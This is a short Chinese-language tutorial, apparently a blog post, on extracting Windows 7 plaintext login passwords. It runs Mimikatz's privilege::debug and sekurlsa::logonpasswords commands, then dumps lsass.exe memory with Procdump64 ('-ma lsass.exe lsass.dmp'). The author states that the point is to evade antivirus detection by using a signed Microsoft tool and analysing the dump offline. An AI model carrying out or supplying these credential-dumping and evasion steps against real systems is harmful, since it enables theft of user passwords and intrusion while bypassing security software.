使用Procdump+mimikatz抓取windows7明文密码

首先打开mimikatz_trunk2.0

在DOS运行界面中输入privilege::debug提权命令1

我们提权成功后，我们再来输入sekurlsa::logonpasswords抓取密码命令

但是出现错误,如下图

网上搜索了一下,我决定使用procdump结合mimikatz实现免杀效果,procdump是微软的官方工具，不会被杀.

首先在任务管理器找到lsass.exe，右键创建转储文件

用procdump导出lsass.dmp后拖回本地抓取密码来规避杀软。
命令:

Procdump64.exe -accepteula -ma lsass.exe lsass.dmp

注意点:

• 使用管理员权限打开DOS窗口
  *需将lsass.dmp移到procdump64.exe同目录